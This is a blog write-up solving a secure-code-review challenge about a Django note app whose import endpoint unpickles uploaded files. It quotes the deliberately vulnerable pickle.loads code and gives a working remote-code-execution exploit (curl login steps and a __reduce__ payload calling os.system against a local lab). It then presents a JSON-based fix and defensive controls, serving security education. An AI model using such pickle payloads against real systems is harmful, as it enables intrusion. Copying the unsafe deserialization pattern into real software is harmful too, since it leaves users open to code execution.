September 18, 2026
The Secure Code Review Challenge β Solution #5: Notekeeper (Insecure Deserialization)
π’ The solution to Challenge #5: Notekeeper is live. Watch the video walkthrough here, or read the full write-up on GitHub.

By Mohamed AboElKheir
9 min read
π’ The solution to Challenge #5: Notekeeper is live. Watch the video walkthrough here, or read the full write-up on GitHub.
The Secure Code Review Challenge is a free biweekly series of full, realistic applications with vulnerabilities based on real-world CVEs and writeups β you review, identify, and exploit them the way you would in a real security review, not just spot-the-bug pattern recognition.
If you haven't attempted the challenge yet, this is your cue to stop reading, clone the repo, and try it yourself first. Everything below assumes you've already had a go at it β the exercise is worth more if you struggle with it a bit before seeing the answer.
Two quick announcements before we get into it:
- Challenge #6 is already live in the repo under
challenges/here. The solution to it will follow in two weeks. - The repo uses GitHub Releases for every new challenge and solution drop. If you go to Watch β Custom β Releases on the repo, you'll get notified automatically instead of having to check back manually.
With that out of the way, let's walk through Notekeeper the same way I did in the video β following the same seven-step methodology laid out in the repo, end to end.
A Quick Reminder of What We're Reviewing
Notekeeper is a personal note manager: sign up, log in, create/edit/delete your own notes, and β the feature that matters β export all your notes to a file and import them back. Unlike some earlier challenges, there's no external converter binary, no headless browser, no outbound HTTP. It's a stock Django app, and that turns out to be most of the story: the framework closes almost every classic sink for you. Almost.
Part I β Building the Mental Model
1. πΊοΈ Application Scope & Architecture
As always, the first move is spinning the app up and clicking through it β sign up, log in, save a couple of notes, edit one, delete one, then export the lot to a file and import it back. Nothing surprising in the UI; the interesting part is what's wired together underneath.
The best way to understand an unfamiliar codebase is to tell it as a story, and here there are two worth telling: what happens when the app starts, and what happens when a user logs in and uses it.
Story one β starting the app. docker compose up reads docker-compose.yml, which declares two containers: a stock postgres:16 image (a black box β not our code) and an app container built locally from the repo's Dockerfile. That Dockerfile is a python:3.12-slim image that installs the requirements and runs entrypoint.sh as a non-root appuser. The entrypoint waits for Postgres, applies migrations, seeds a demo and an admin account, then starts Django:
exec python manage.py runserver 0.0.0.0:8000exec python manage.py runserver 0.0.0.0:8000The framework is Django 5.2, and settings.py is where the security-relevant wiring lives β specifically the global middleware that runs on every request:
MIDDLEWARE = [
'django.contrib.sessions.middleware.SessionMiddleware', # cookie sessions
'django.middleware.csrf.CsrfViewMiddleware', # CSRF protection
'django.contrib.auth.middleware.AuthenticationMiddleware', # request.user
...
]MIDDLEWARE = [
'django.contrib.sessions.middleware.SessionMiddleware', # cookie sessions
'django.middleware.csrf.CsrfViewMiddleware', # CSRF protection
'django.contrib.auth.middleware.AuthenticationMiddleware', # request.user
...
]That's three controls the framework is handling for us before we've written a line of app code: SessionMiddleware + AuthenticationMiddleware populate request.user from the session cookie, and CsrfViewMiddleware enforces a CSRF token on every unsafe method. Routes are mapped in urls.py β Django's built-in login, a custom signup/logout, the notes CRUD endpoints, and the import/export pair β all handled by notes/views.py. There's a built-in Django admin portal on /admin too, but that's framework code, gated on the admin account, and not something we wrote. The data store is PostgreSQL, reached exclusively through the Django ORM; the only model is Note β a user foreign key plus title and content.
Story two β log in, use the app. Login goes through Django's built-in LoginView, which sets the session cookie; from there every notes view carries @login_required, a decorator that runs before the handler and checks the session. Create/list/get/update/delete all scope their queries to request.user. The one part worth reading slowly is export/import:
# export_notes
serialized = pickle.dumps(list(notes.values()))
return HttpResponse(base64.b64encode(serialized), content_type='text/plain')
# import_notes
data = base64.b64decode(request.FILES['import_file'].read())
notes_data = pickle.loads(data) # β uploaded bytes
for note_data in notes_data:
Note.objects.create(user=request.user, title=note_data['title'], content=note_data['content'])# export_notes
serialized = pickle.dumps(list(notes.values()))
return HttpResponse(base64.b64encode(serialized), content_type='text/plain')
# import_notes
data = base64.b64decode(request.FILES['import_file'].read())
notes_data = pickle.loads(data) # β uploaded bytes
for note_data in notes_data:
Note.objects.create(user=request.user, title=note_data['title'], content=note_data['content'])Export serializes your notes with Python's pickle module and base64-encodes them; import base64-decodes an uploaded file and calls pickle.loads() on the result. Note that asymmetry without judging it yet β the bytes fed to pickle.loads() come straight from a file the user hands us.
2. πͺ Entry Points
Registration and login are open; every notes route requires an authenticated session.
GET/POST /accounts/login/,/accounts/signup/β auth: none β username/password.GET /β auth: user β renders the caller's own notes.POST /create_note/β auth: user βtitle,content.GET /get_note/<id>/,POST /update_note/<id>/,POST /delete_note/<id>/β auth: user βidpath param.GET /export_notes/β auth: user β none.POST /import_notes/β auth: user β an uploaded file (import_file).
3. π― Dangerous Sinks
Sinks are the operations where untrusted input could change what the program does, not just where it flows:
pickle.loads(data)on uploaded bytes β insecure deserialization / RCE. Fed fromrequest.FILES['import_file'].- Template rendering of
note.title/note.contentβ stored XSS if unescaped. - ORM lookups built from the
<id>path param and form fields β SQL injection if raw.
4 & 5. π§© Threat Modeling and π Mitigation Review
The candidate list for this app is the classic set β authentication, authorization/IDOR, CSRF, XSS, SQL injection, and insecure deserialization. Because it's a stock framework app, the interesting question is less "is each one possible?" and more "which one did the framework not cover?" I checked each against the code.
π Business logic first.
Authentication β every notes view carries @login_required, backed by Django's AuthenticationMiddleware. This is well-tested framework auth, not something hand-rolled; strip the session cookie in Burp and every route redirects to login. β
Mitigated.
Authorization β object-level ownership. With multiple users, the assumption is that one user can't read or mutate another's notes β i.e. no IDOR. Every query here is scoped to the caller: the list uses Note.objects.filter(user=request.user), and single-object routes use get_object_or_404(Note, id=note_id, user=request.user) β the user= clause is baked into the lookup, so another user's ID resolves to 404, not their note. Import is careful too: it never trusts a user ID from the uploaded file, always setting user=request.user. β
Mitigated.
CSRF β CsrfViewMiddleware is enabled globally, every form emits {% csrf_token %}, and the fetch() calls send the X-CSRFToken header. By default Django rejects any unsafe method missing the token with a 403. β
Mitigated.
π Source-to-sink next.
XSS β Django templates auto-escape by default. {{ note.title }} / {{ note.content }} are HTML-escaped, and the JS handlers use the escapejs filter. There's no |safe, mark_safe, or autoescape off anywhere, so a <script> note renders inert. β
Mitigated.
SQL injection β all database access goes through the Django ORM, which parameterizes queries. No raw(), .extra(), or cursor SQL. β
Mitigated. (It's PostgreSQL, so NoSQL injection doesn't apply either.)
Insecure deserialization β here's where it stops. import_notes calls pickle.loads() on bytes taken directly from an uploaded file. It's easy to miss if you don't already know pickle is dangerous β the pickle docs look like any other serialization library. But scroll to the top of that page and there's a red warning box.
π¦ A note on tooling. You don't have to catch this by eye. In an earlier challenge a container scan (Grype) surfaced a vulnerable dependency; here the sink is in our own code, so a SAST scanner is the right tool. semgrep scan flags it directly:
notes/views.py
β―β―β± python.django.security.audit.avoid-insecure-deserialization
Avoid using insecure deserialization library, backed by `pickle` ...
87β notes_data = pickle.loads(data)notes/views.py
β―β―β± python.django.security.audit.avoid-insecure-deserialization
Avoid using insecure deserialization library, backed by `pickle` ...
87β notes_data = pickle.loads(data)SAST is good at locating a dangerous sink. What it can't decide for you is whether the input is genuinely attacker-controlled and whether anything upstream neutralizes it β that sourceβsink reachability call is still the reviewer's job. (And note the contrast with the IDOR class from Challenge #4: a missing ownership check has no telltale sink, so no scanner flags it at all.)
Part II β Finding, Exploiting, and Fixing the Bug
6. π§ͺ The Vulnerability: Insecure Deserialization β RCE
Class: Insecure Deserialization β Remote Code Execution β CWE-502. OWASP A08:2021 β Software and Data Integrity Failures.
Why it works. pickle isn't a data format β it's a mini stack language for reconstructing Python objects, and part of that language is calling things. When an object defines __reduce__, unpickling calls the callable it returns with the arguments it returns. So an attacker ships an object whose __reduce__ returns (os.system, ("<cmd>",)), and the command runs the instant pickle.loads() parses the stream β before the surrounding code (the for loop, the note_data['title'] access) ever runs.
That ordering explains a detail you see during exploitation: the request still returns a JSON error ('int' object is not iterable). After os.system runs it returns an exit code (0), pickle hands that back as the "deserialized object," and for note_data in 0: then chokes. The error is cosmetic β the command already executed. The try/except around the loop protects nothing, because the dangerous work happens inside pickle.loads() itself. And the app hands you the exact wire format for free: GET /export_notes/ shows an import file is just base64(pickle_bytes), so there's nothing to reverse-engineer.
π Exploitation
Authenticate as any user (registration is open), craft a malicious pickle, and upload it through Import Notes.
# 0) Log in as the seeded demo user, keeping cookies + CSRF token
curl -s -c cj.txt http://localhost:8000/accounts/login/ -o login.html
CSRF=$(grep csrfmiddlewaretoken login.html | sed -E 's/.*value="([^"]+)".*/\1/' | head -1)
curl -s -b cj.txt -c cj.txt http://localhost:8000/accounts/login/ \
-H "Referer: http://localhost:8000/accounts/login/" \
-d "csrfmiddlewaretoken=$CSRF&username=demo&password=demo12345&next=/" -o /dev/null
# 1) Build the payload: __reduce__ makes unpickling call os.system(...)
python3 - <<'PY'
import pickle, base64, os
class Exploit:
def __reduce__(self):
return (os.system, ('id > /tmp/pwned_by_pickle.txt; echo RCE-OK',))
open('exploit.txt','wb').write(base64.b64encode(pickle.dumps(Exploit())))
PY
# 2) Upload it through the Import Notes endpoint
CSRFCOOKIE=$(grep csrftoken cj.txt | awk '{print $7}')
curl -s -b cj.txt http://localhost:8000/import_notes/ \
-H "X-CSRFToken: $CSRFCOOKIE" -H "Referer: http://localhost:8000/" \
-F "csrfmiddlewaretoken=$CSRFCOOKIE" -F "import_file=@exploit.txt"# 0) Log in as the seeded demo user, keeping cookies + CSRF token
curl -s -c cj.txt http://localhost:8000/accounts/login/ -o login.html
CSRF=$(grep csrfmiddlewaretoken login.html | sed -E 's/.*value="([^"]+)".*/\1/' | head -1)
curl -s -b cj.txt -c cj.txt http://localhost:8000/accounts/login/ \
-H "Referer: http://localhost:8000/accounts/login/" \
-d "csrfmiddlewaretoken=$CSRF&username=demo&password=demo12345&next=/" -o /dev/null
# 1) Build the payload: __reduce__ makes unpickling call os.system(...)
python3 - <<'PY'
import pickle, base64, os
class Exploit:
def __reduce__(self):
return (os.system, ('id > /tmp/pwned_by_pickle.txt; echo RCE-OK',))
open('exploit.txt','wb').write(base64.b64encode(pickle.dumps(Exploit())))
PY
# 2) Upload it through the Import Notes endpoint
CSRFCOOKIE=$(grep csrftoken cj.txt | awk '{print $7}')
curl -s -b cj.txt http://localhost:8000/import_notes/ \
-H "X-CSRFToken: $CSRFCOOKIE" -H "Referer: http://localhost:8000/" \
-F "csrfmiddlewaretoken=$CSRFCOOKIE" -F "import_file=@exploit.txt"Real output from the running app:
# import response β command already ran; the error is the loop choking on os.system's int return
{"status": "error", "message": "'int' object is not iterable"} HTTP 400
# proof the command executed INSIDE the app container:
$ docker exec notekeeper_app sh -c 'cat /tmp/pwned_by_pickle.txt'
uid=1001(appuser) gid=1001(appuser) groups=1001(appuser)# import response β command already ran; the error is the loop choking on os.system's int return
{"status": "error", "message": "'int' object is not iterable"} HTTP 400
# proof the command executed INSIDE the app container:
$ docker exec notekeeper_app sh -c 'cat /tmp/pwned_by_pickle.txt'
uid=1001(appuser) gid=1001(appuser) groups=1001(appuser)For contrast, exporting real notes and re-importing that file succeeds with {"status": "success"} and recreates the notes β same endpoint, benign payload.
Impact: any authenticated user β and registration is open, so effectively any attacker β achieves remote code execution as appuser: full read/write of the app's data and secrets, lateral movement to the PostgreSQL container over the compose network, and a foothold for persistence. A complete compromise of the app tier, gated only by a trivially obtainable login.
7. π οΈ The Fix
Primary fix β never deserialize untrusted input with pickle; use a data-only format (JSON). JSON can't instantiate arbitrary objects or call code, so export and import round-trip safely:
import json
@login_required
def export_notes(request):
notes = Note.objects.filter(user=request.user).values('title', 'content')
return JsonResponse(list(notes), safe=False)
@login_required
def import_notes(request):
if request.method != 'POST':
return JsonResponse({'status': 'error'}, status=400)
try:
notes_data = json.loads(request.FILES['import_file'].read().decode('utf-8'))
for nd in notes_data: # validate shape/length before trusting it
Note.objects.create(user=request.user,
title=str(nd['title'])[:100],
content=str(nd['content']))
return JsonResponse({'status': 'success'})
except (ValueError, KeyError, TypeError) as e:
return JsonResponse({'status': 'error', 'message': str(e)}, status=400)import json
@login_required
def export_notes(request):
notes = Note.objects.filter(user=request.user).values('title', 'content')
return JsonResponse(list(notes), safe=False)
@login_required
def import_notes(request):
if request.method != 'POST':
return JsonResponse({'status': 'error'}, status=400)
try:
notes_data = json.loads(request.FILES['import_file'].read().decode('utf-8'))
for nd in notes_data: # validate shape/length before trusting it
Note.objects.create(user=request.user,
title=str(nd['title'])[:100],
content=str(nd['content']))
return JsonResponse({'status': 'success'})
except (ValueError, KeyError, TypeError) as e:
return JsonResponse({'status': 'error', 'message': str(e)}, status=400)As with every challenge in this series, that one fix shouldn't be the only control:
- Validate on the server, not just the
accept=attribute β enforce content type, size limits, and a strict schema on the parsed data. - If a binary interchange format is truly required, sign exported blobs (Django's
signing/ HMAC) and verify before parsing, so only data the server itself produced is accepted.picklestays unsafe even then β prefer a schema-bound format. - Least privilege / blast radius β the app already runs as non-root; keep it that way, restrict the DB user's grants, and lock down egress from the app container so an RCE can't pivot freely.
- Static analysis in CI β flag
pickle.loads/yaml.load/marshalon request-derived data (BanditB301/B403, or the Semgrep rule above) so this class is caught on the pull request, not in prod.
Why This Matters Beyond This One App
Notekeeper is almost the inverse of Challenge #4. There, every individual control was well-built and the gap was a missing check (ownership). Here, the framework hands you correct auth, authorization, CSRF, XSS, and SQL-injection defenses essentially for free β and the bug is one line that steps outside the framework's guarantees to do its own (de)serialization with a tool that was never safe for untrusted input.
The reviewer's habit that catches this: treat pickle.loads, yaml.load (unsafe loader), marshal, or any native-deserialize call sitting on a path from user input as an RCE sink until proven otherwise β the same reflex you'd apply to unescaped output. And when you find one, the fix is almost never "wrap it in try/except," because the code runs during deserialization, before your handler gets control. The fix is "don't deserialize untrusted data with that mechanism at all." Deserialization is code execution in disguise β pickle (Python), Java native serialization, Ruby Marshal, PHP unserialize all reconstruct objects by invoking callables, so feeding them untrusted bytes is equivalent to running attacker code.
Real-world grounding: CVE-2024β2912 β BentoML is the same root cause in a widely used AI model-serving framework: untrusted input reaching pickle-style deserialization, yielding RCE. Models get shared and loaded like data, the loader unpickles them, and a malicious model runs code β Notekeeper's bug at ecosystem scale.
Wrapping Up
If you worked through Notekeeper yourself, I'd like to know: did the pickle.loads() jump out at you the moment you saw it in import_notes, or did the wall of correctly-secured Django around it lull you into scrolling past β the way a framework's good defaults can quietly convince you the whole file is safe?
Challenge #6 is live now if you're ready for the next one, and I'll be back in two weeks with its solution and a new challenge alongside it.
Links:
- π₯ Video walkthrough: https://youtu.be/r3or6Yig_t0
- π Full solution write-up: SOLUTION.md
- π Repo: the-secure-code-review-challenge
- π§© Try Challenge #5: challenges/005-notekeeper
- π§© Try Challenge #6: challenges/006-filedrop